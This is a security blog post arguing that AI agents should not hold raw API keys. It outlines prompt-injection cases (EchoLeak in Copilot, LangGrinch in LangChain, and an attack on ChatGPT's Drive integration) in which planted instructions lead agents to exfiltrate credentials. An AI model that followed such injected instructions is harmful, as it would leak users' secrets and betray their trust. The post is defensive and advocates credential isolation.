Why AI Agents Should Never Hold API Keys

In February 2026, a three-person startup woke up to an $82,314 bill from Google Cloud. Their Gemini API key had been stolen, and in 48 hours the attacker ran up a 46,000% increase in usage. The key had been sitting in a .env file accessible to their development agent.

This is not an isolated incident. It is the predictable outcome of a pattern that has become the default across the AI ecosystem: giving autonomous agents direct access to raw API credentials.

The Evidence Is Mounting

EchoLeak: Zero-Click Exfiltration from Microsoft 365 Copilot

In early 2025, researchers disclosed EchoLeak (CVE-2025-32711), a zero-click prompt injection vulnerability in Microsoft 365 Copilot. The attack worked by embedding malicious instructions in documents that Copilot would process during normal operation. When a user asked Copilot to summarize a document or search their files, the injected prompt could silently exfiltrate file contents --- including any API keys, tokens, or credentials stored in accessible documents.

No user interaction beyond asking a question. No visible indication of compromise. The agent did exactly what it was designed to do: read documents and respond. The attacker simply redirected where the response went.

LangGrinch: Extracting All Environment Variables from LangChain

CVE-2025-68664, nicknamed "LangGrinch," scored a CVSS 9.3. It was a prompt injection vulnerability in LangChain that could extract all environment variables from the host process. Not just the keys the agent was configured to use --- every secret in the environment.

For teams running LangChain agents in production, this meant that a crafted input could exfiltrate database credentials, third-party API keys, internal service tokens, and any other secret stored in the process environment. The attack surface was not limited to what the agent was designed to access. It was everything.

ChatGPT and Google Drive: The Connected Service Problem

Researchers demonstrated a zero-click attack against ChatGPT's Google Drive integration that could exfiltrate API keys from connected documents. The attack exploited the trust boundary between ChatGPT and the user's Drive, using prompt injection to cause the model to read and transmit file contents without the user's knowledge.

This is the confused deputy problem in its purest form. The agent has legitimate access to resources (your Drive files) and legitimate ability to produce output (respond to you). An attacker manipulates the agent into using its legitimate access for illegitimate purposes. The agent is the deputy, and it has been confused.

The Confused Deputy at Scale

The confused deputy problem is a well-understood concept in computer security: a program with elevated privileges is tricked by a less-privileged entity into misusing its authority. AI agents are the most powerful confused deputies ever built.

Consider the typical agent architecture. The agent has access to environment variables containing API keys. It can make HTTP requests. It can produce output that gets logged, stored, or transmitted. A prompt injection attack does not need to "break" the agent --- it just needs to redirect the agent's legitimate capabilities.

GitGuardian's 2024 data quantifies the scope: 23.8 million secrets were exposed on GitHub, up 25% year-over-year. Of the leaked GitHub tokens, 96% had write access. When agents operate in environments saturated with exposed credentials, the confused deputy problem becomes a confused deputy crisis.

How Every Major Framework Gets This Wrong

The credential management story across agent frameworks is remarkably consistent, and consistently inadequate:

LangChain reads API keys from environment variables. The LangGrinch vulnerability (CVE-2025-68664) demonstrated that this approach exposes not just the intended keys but the entire environment. There is no built-in secret management, no encryption, and no credential isolation.

CrewAI follows the same environment variable pattern, with the added frustration that the framework sometimes demands OPENAI_API_KEY even when you are using a different provider entirely. Credentials are passed in plaintext through the agent's runtime.

AutoGPT stores credentials in plain .env files. No encryption at rest. No rotation mechanism. No audit trail. The .env file is the security boundary, and it is a file on disk.

OpenAI's Agents SDK is designed for single-provider use and reads credentials from the environment. For multi-provider agent architectures, you are on your own.

None of these frameworks treat credential management as a security concern. They treat it as configuration.

The Financial Blast Radius

Beyond credential theft, raw key access creates unbounded financial exposure. The $82,314 Gemini incident is the headline, but the everyday cost of poor agent credential management is more mundane and more pervasive:

• A recursive agent loop running for 11 days unnoticed cost $47,000.
• A contract analysis agent made 47,000 API calls in 6 hours, billing $1,410.

These are not attacks. These are normal agent failures with abnormal financial consequences, made possible because the agent had direct, unlimited access to a production API key with no budget enforcement.

IBM's 2024 Cost of a Data Breach Report puts the average breach cost at $4.88 million. But you do not need a full breach to lose money. You just need an agent with an unscoped key and a bad afternoon.

What OWASP Recommends

The OWASP Top 10 for Agentic Applications, published in December 2025, directly addresses this problem. Among its recommendations:

• Short-lived credentials rather than long-lived API keys.
• Just-in-time access provisioned at the moment of use and revoked immediately after.
• Treat agents as untrusted third parties regardless of whether you built them yourself.

This is not a fringe position. It is the emerging consensus from the most widely recognized application security organization in the world. The era of trusting agents with raw credentials is over.

The Architectural Fix

The solution is not better environment variable management. It is removing the agent from the credential chain entirely.

Proxy-based credential injection --- where the agent sends requests through an intermediary that resolves real credentials at the last possible moment --- eliminates the core vulnerability. The agent holds an opaque token. The token is scoped, rate-limited, budget-capped, and instantly revocable. Even if an attacker exfiltrates the token through prompt injection, they get a constrained handle, not a raw key with full account access.

This pattern is not new. AWS SigV4 Proxy, HashiCorp's Vault Agent Injector, and Aembit's Edge component all implement variations of it. What is new is applying it specifically to AI agents, where the threat model demands it most urgently.

73% of production AI deployments are vulnerable to prompt injection, according to Obsidian Security. The question is not whether your agents will face injection attempts. It is whether your credentials will be there when they do.

Stop giving agents your keys.